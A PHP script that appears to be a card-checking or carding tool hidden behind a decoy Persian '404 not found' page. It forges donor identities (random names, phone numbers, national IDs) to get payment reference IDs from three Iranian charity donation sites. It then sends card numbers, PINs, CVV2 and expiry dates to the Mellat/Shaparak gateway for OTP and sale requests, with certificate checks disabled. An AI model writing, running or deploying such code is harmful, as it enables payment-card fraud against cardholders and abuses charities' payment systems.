<?php
error_reporting(0);
#-------------------

if (isset($_GET['action'])) {
    $action = htmlspecialchars($_GET['action']);
}

if (isset($_GET['amount'])) {
    $amount = htmlspecialchars($_GET['amount']);
}

if (isset($_GET['cardnumber'])) {
    $cardNumber = htmlspecialchars($_GET['cardnumber']);
}

if (isset($_GET['cvv2'])) {
    $cvv2 = htmlspecialchars($_GET['cvv2']);
}

if (isset($_GET['month'])) {
    $month = htmlspecialchars($_GET['month']);
}

if (isset($_GET['year'])) {
    $year = htmlspecialchars($_GET['year']);
}

if (isset($_GET['password'])) {
    $password = htmlspecialchars($_GET['password']);
}

if (isset($_GET['RefID'])) {
    $refId = htmlspecialchars($_GET['RefID']);
}
if (isset($_GET['captcha'])) {
    $captcha = htmlspecialchars($_GET['captcha']);
}
#-------------------
function generatePaymentRefId(string $price): array
{

    $cleanedPrice = str_replace(',', '', $price);
    $formattedPrice = number_format((float)$cleanedPrice);
    $numericPrice = (int)$cleanedPrice;


    $firstNames = ['مینا', 'سارا', 'نازنین', 'پریا', 'لیلا', 'مریم', 'زهرا', 'فاطمه'];
    $lastNames = ['دبیری', 'محمدی', 'کریمی', 'رحیمی', 'احمدی', 'قاسمی', 'حسینی'];
    $randomName = $firstNames[array_rand($firstNames)] . ' ' . $lastNames[array_rand($lastNames)];
    

    $mobilePrefix = '09';
    $mobileSuffix = '';
    for ($i = 0; $i < 9; $i++) {
        $mobileSuffix .= mt_rand(0, 9);
    }
    $randomMobile = $mobilePrefix . $mobileSuffix;

    $endpoints = [
        [
            'url' => 'https://roshdcharity.com/pay-handler/',
            'payload' => [
                'pid' => '507',
                'mobile' => $randomMobile,
                'full-name' => $randomName,
                'introducer' => 'گوگل',
                'help-items' => 'scholarship',
                'price' => $formattedPrice,
                'description' => ''
            ],
            'ref_field' => 'RefId'
        ],
        [
            'url' => 'https://mahak-charity.org/online-payment/',
            'payload' => [
                'type_pay' => 'public',
                'price_help' => $numericPrice,
                'idcode' => '',
                'mobile' => $randomMobile,
                'firstname' => explode(' ', $randomName)[0],
                'lastname' => explode(' ', $randomName)[1],
                'code_meli' => substr(str_shuffle('0123456789'), 0, 10),
                'port' => 'melat'
            ],
            'ref_field' => 'RefId'
        ],
        [
            'url' => 'https://v2.ebhome.ngo/api/payments/new',
            'payload' => [
                'from' => 'ebhome.ngo',
                'utm_source' => '',
                'utm_medium' => '',
                'utm_campaign' => '',
                'name' => explode(' ', $randomName)[0],
                'last_name' => explode(' ', $randomName)[1],
                'mobile' => $randomMobile,
                'behalf' => 'charity',
                'amount' => $numericPrice,
                'via' => 'behpardakht'
            ],
            'ref_field' => 'RefId'
        ]
    ];

    $results = [];
    $success = false;


    foreach ($endpoints as $index => $endpoint) {
        $options = [
            'http' => [
                'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
                'method' => 'POST',
                'timeout' => 10, 
                'content' => http_build_query($endpoint['payload'])
            ]
        ];

        try {
            $context = stream_context_create($options);
            $response = @file_get_contents($endpoint['url'], false, $context);

            if ($response !== false) {
                $dom = new DOMDocument();
                libxml_use_internal_errors(true);
                $dom->loadHTML($response);
                libxml_clear_errors();

                $refId = 'false';
                foreach ($dom->getElementsByTagName('input') as $element) {
                    if ($element->getAttribute('name') === $endpoint['ref_field']) {
                        $refId = trim($element->getAttribute('value'));
                        break;
                    }
                }

                $results[$index] = [
                    'status' => true,
                    'source' => parse_url($endpoint['url'], PHP_URL_HOST),
                    'ref_id' => $refId
                ];

                if ($refId !== 'false') {
                    $success = true;
                    break; 
                }
            } else {
                $results[$index] = [
                    'status' => false,
                    'source' => parse_url($endpoint['url'], PHP_URL_HOST),
                    'ref_id' => 'false'
                ];
            }
        } catch (Exception $e) {
            $results[$index] = [
                'status' => false,
                'source' => parse_url($endpoint['url'], PHP_URL_HOST),
                'ref_id' => 'false'
            ];
        }
    }


    if (!$success) {
        $randomToken = strtoupper(bin2hex(random_bytes(8)));
        return [
            'status' => false,
            'sources' => array_column($results, 'source'),
            'ref_id' => $randomToken,
            'message' => 'All endpoints failed, generated random token'
        ];
    }


    foreach ($results as $result) {
        if ($result['status'] && $result['ref_id'] !== 'false') {
            return [
                'status' => true,
                'source' => $result['source'],
                'ref_id' => $result['ref_id'],
                'message' => 'Successfully received from ' . $result['source']
            ];
        }
    }


    $randomToken = strtoupper(bin2hex(random_bytes(8)));
    return [
        'status' => false,
        'sources' => array_column($results, 'source'),
        'ref_id' => $randomToken,
        'message' => 'All endpoints failed, generated random token'
    ];
}

function sendOtpRequest($refId, $pan, $captcha) {
  
    $headers = [
        "Content-Type: application/json",
        "User-Agent: okhttp/3.12.3",
    ];
    

    $statusMessages = [
        "OK" => "رمز پویا با موفقیت برای شماره کارت ارسال گردید",
        "INVALID_CAPTCHA" => "کد امنیتی وارد شده معتبر نمی‌باشد",
        "OTP_WAIT" => "حداقل ۲ دقیقه از آخرین درخواست شما باید گذشته باشد",
        "BLOCKER_ERROR" => "تعداد درخواست‌های شما بیش از حد مجاز بوده است",
        "SYSTEM_INTERNAL_ERROR" => "خطای داخلی سامانه پرداخت",
        "INVALID_PAN" => "شماره کارت بانکی وارد شده نامعتبر است",
        "INVALID_REF_ID" => "شناسه پرداخت ارائه شده معتبر نمی‌باشد",
        "TRANSACTION_EXPIRED" => "زمان انجام تراکنش به پایان رسیده است",
        "DEFAULT" => "خطای غیرمنتظره در سامانه پرداخت رخ داده است"
    ];
    

    $ch = curl_init();
    $url = "https://bpm.shaparak.ir/pgwchannel/otp-request.mellat?RefId=" . urlencode($refId);
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_HTTPHEADER => $headers,
        CURLOPT_POSTFIELDS => json_encode([
            "pan" => $pan,
            "selectedPanIndex" => -1,
            "captcha" => $captcha
        ]),
        CURLOPT_TIMEOUT => 30
    ]);
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    if (curl_errno($ch)) {
        $error = curl_error($ch);
        curl_close($ch);
        return [
            'status' => 'CURL_ERROR',
            'description' => 'خطا در ارتباط با سامانه پرداخت',
            'http_code' => $httpCode,
            'error_detail' => $error
        ];
    }
    
    curl_close($ch);
    

    $responseData = json_decode($response, true);
    $status = $responseData['status'] ?? 'DEFAULT';
    
    return [
        'status' => $status,
        'description' => $statusMessages[$status] ?? $statusMessages['DEFAULT'],
        'http_code' => $httpCode,
        'original_response' => $responseData
    ];
}
function processPayment($params) {
    $statusMessages = [
        "0" => "تراکنش با موفقیت انجام شد",
        "OK" => "تراکنش با موفقیت انجام شد",
        "INVALID_CAPTCHA" => "کد امنیتی وارد شده معتبر نمی‌باشد",
        "INVALID_INPUT" => "مقادیر ورودی نامعتبر هستند",
        "BLOCKER_ERROR" => "تعداد درخواست‌ها بیش از حد مجاز است",
        "11" => "شماره کارت نامعتبر است",
        "12" => "موجودی کافی نیست",
        "13" => "رمز دوم کارت نادرست است",
        "14" => "تعداد دفعات وارد کردن رمز بیش از حد مجاز است",
        "15" => "کارت نامعتبر است",
        "16" => "دفعات برداشت وجه بیش از حد مجاز است",
        "17" => "کاربر از انجام تراکنش منصرف شده است",
        "18" => "تاریخ انقضای کارت گذشته است",
        "19" => "مبلغ برداشت وجه بیش از حد مجاز است",
        "21" => "پذیرنده نامعتبر است",
        "23" => "خطای امنیتی رخ داده است",
        "24" => "اطلاعات کاربری پذیرنده نامعتبر است",
        "25" => "مبلغ نامعتبر است",
        "31" => "پاسخ نامعتبر است",
        "32" => "فرمت اطلاعات وارد شده صحیح نمی‌باشد",
        "33" => "حساب نامعتبر است",
        "34" => "خطای سیستمی",
        "35" => "تاریخ نامعتبر است",
        "41" => "شماره درخواست تکراری است",
        "42" => "تراکنش Sale یافت نشد",
        "43" => "قبلاً درخواست Verify داده شده است",
        "44" => "درخواست Verify یافت نشد",
        "45" => "تراکنش Settle شده است",
        "46" => "تراکنش Settle نشده است",
        "47" => "تراکنش Settle یافت نشد",
        "48" => "تراکنش Reverse شده است",
        "49" => "تراکنش Refund یافت نشد",
        "51" => "تراکنش تکراری است",
        "54" => "تراکنش مرجع موجود نیست",
        "55" => "تراکنش نامعتبر است",
        "61" => "خطا در واریز",
        "98" => "سقف روزانه پرداخت با رمز ایستا",
        "111" => "صادرکننده کارت نامعتبر است",
        "112" => "خطای سوییچ صادرکننده کارت",
        "113" => "پاسخی از صادرکننده کارت دریافت نشد",
        "114" => "دارنده کارت مجاز به انجام این تراکنش نیست",
        "412" => "شناسه قبض نادرست است",
        "413" => "شناسه پرداخت نادرست است",
        "414" => "سازمان صادرکننده قبض نامعتبر است",
        "415" => "زمان جلسه کاری به پایان رسیده است",
        "416" => "خطا در ثبت اطلاعات",
        "417" => "شناسه پرداخت کننده نامعتبر است",
        "418" => "اشکال در تعریف اطلاعات مشتری",
        "419" => "تعداد دفعات ورود اطلاعات از حد مجاز گذشته است",
        "421" => "IP نامعتبر است",
        "DEFAULT" => "خطای نامشخص در پرداخت"
    ];


    $defaultParams = [
        'RefId' => '',
        'pan' => '',
        'pin' => '',
        'cvv2' => '',
        'month' => '',
        'year' => '',
        'captcha' => ''
    ];
    

    $params = array_merge($defaultParams, $params);
    
    $headers = [
        "Content-Type: application/json",
        "User-Agent: okhttp/3.12.3"
    ];


    $url = "https://bpm.shaparak.ir/pgwchannel/sale.mellat?RefId=" . urlencode($params['RefId']);
    
    $postData = [
        "pan" => $params['pan'],
        "selectedPanIndex" => -1,
        "pin" => $params['pin'],
        "cvv2" => $params['cvv2'],
        "expireMonth" => $params['month'],
        "expireYear" => $params['year'],
        "captcha" => $params['captcha'],
        "payerId" => null,
        "email" => "",
        "savePan" => false
    ];


    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_HTTPHEADER => $headers,
        CURLOPT_POSTFIELDS => json_encode($postData),
        CURLOPT_TIMEOUT => 30
    ]);

    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    

    if (curl_errno($ch)) {
        $error = curl_error($ch);
        curl_close($ch);
        return [
            'status' => 'CONNECTION_ERROR',
            'description' => 'خطا در ارتباط با بانک',
            'http_code' => $httpCode,
            'error_detail' => $error
        ];
    }
    
    curl_close($ch);
    

    $responseData = json_decode($response, true);
    

    $statusCode = $responseData['responseCode'] ?? $responseData['status'] ?? 'DEFAULT';
    
    return [
        'status' => $statusCode,
        'description' => $statusMessages[$statusCode] ?? $statusMessages['DEFAULT'],
        'http_code' => $httpCode,
        'original_response' => $responseData
    ];
}
#-------------------
if($action == "REFID"){
    $result = generatePaymentRefId($amount);
    header('Content-Type: application/json');
    echo json_encode($result, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
}
if($action == "OTP"){
    $result = sendOtpRequest($refId,$cardNumber,$captcha);
    header('Content-Type: application/json');
    echo json_encode($result, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
}
if($action == "PAY"){

$paymentParams = [
    'RefId' => $refId,
    'pan' => $cardNumber,
    'pin' => $password,
    'cvv2' => $cvv2,
    'month' => $year,
    'year' => $month,
    'captcha' => $captcha
];

$result = processPayment($paymentParams);
    header('Content-Type: application/json');
    echo json_encode($result, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
}

if (!$_GET['action']) {
    

?>
<!DOCTYPE html>
<html lang="fa" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>صفحه پیدا نشد - 404</title>
    <style>
        @import url('https://fonts.googleapis.com/css2?family=Vazirmatn:wght@300;400;700&display=swap');
        
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Vazirmatn', sans-serif;
        }
        
        body {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            color: #fff;
            overflow: hidden;
        }
        
        .container {
            text-align: center;
            position: relative;
            z-index: 1;
        }
        
        .error-code {
            font-size: 150px;
            font-weight: 700;
            position: relative;
            animation: bounce 2s infinite alternate;
        }
        
        .error-code span {
            display: inline-block;
        }
        
        .error-code span:nth-child(1) {
            animation: float 3s ease-in-out infinite;
        }
        
        .error-code span:nth-child(2) {
            animation: float 3s ease-in-out infinite 0.5s;
        }
        
        .error-code span:nth-child(3) {
            animation: float 3s ease-in-out infinite 1s;
        }
        
        .error-message {
            font-size: 24px;
            margin: 20px 0;
            animation: fadeIn 1.5s ease-in-out;
        }
        
        .home-btn {
            display: inline-block;
            padding: 12px 30px;
            background: #fff;
            color: #764ba2;
            text-decoration: none;
            border-radius: 30px;
            font-weight: 700;
            margin-top: 20px;
            transition: all 0.3s ease;
            box-shadow: 0 10px 20px rgba(0, 0, 0, 0.2);
            animation: pulse 2s infinite;
        }
        
        .home-btn:hover {
            transform: translateY(-3px);
            box-shadow: 0 15px 30px rgba(0, 0, 0, 0.3);
        }
        
        .astronaut {
            position: absolute;
            width: 150px;
            animation: float 6s ease-in-out infinite;
        }
        
        .astronaut-1 {
            top: 10%;
            left: 10%;
        }
        
        .astronaut-2 {
            bottom: 10%;
            right: 10%;
            animation-delay: 1s;
        }
        
        .stars {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 0;
        }
        
        .star {
            position: absolute;
            background-color: #fff;
            border-radius: 50%;
            animation: twinkle 2s infinite;
        }
        
        @keyframes bounce {
            0% {
                transform: translateY(0);
            }
            100% {
                transform: translateY(-20px);
            }
        }
        
        @keyframes float {
            0% {
                transform: translateY(0);
            }
            50% {
                transform: translateY(-20px);
            }
            100% {
                transform: translateY(0);
            }
        }
        
        @keyframes fadeIn {
            0% {
                opacity: 0;
                transform: translateY(20px);
            }
            100% {
                opacity: 1;
                transform: translateY(0);
            }
        }
        
        @keyframes pulse {
            0% {
                transform: scale(1);
            }
            50% {
                transform: scale(1.05);
            }
            100% {
                transform: scale(1);
            }
        }
        
        @keyframes twinkle {
            0% {
                opacity: 0.2;
            }
            50% {
                opacity: 1;
            }
            100% {
                opacity: 0.2;
            }
        }
        

        .stars {
            pointer-events: none;
        }
    </style>
</head>
<body>
    <div class="stars" id="stars"></div>
    
    
    
    <div class="container">
        <div class="error-code">
            <span>4</span>
            <span>0</span>
            <span>4</span>
        </div>
        <h1 class="error-message">صفحه مورد نظر یافت نشد!</h1>
        <p>به نظر می‌رسد صفحه‌ای که به دنبال آن هستید وجود ندارد یا حذف شده است.</p>
        <a href="#" class="home-btn">بازگشت به صفحه اصلی</a>
    </div>

    <script>

        const starsContainer = document.getElementById('stars');
        const starCount = 100;
        
        for (let i = 0; i < starCount; i++) {
            const star = document.createElement('div');
            star.classList.add('star');
            

            const size = Math.random() * 2 + 1;
            star.style.width = `${size}px`;
            star.style.height = `${size}px`;
            

            star.style.left = `${Math.random() * 100}%`;
            star.style.top = `${Math.random() * 100}%`;
            

            star.style.animationDelay = `${Math.random() * 2}s`;
            
            starsContainer.appendChild(star);
        }
    </script>
</body>
</html>
<?php
}
?>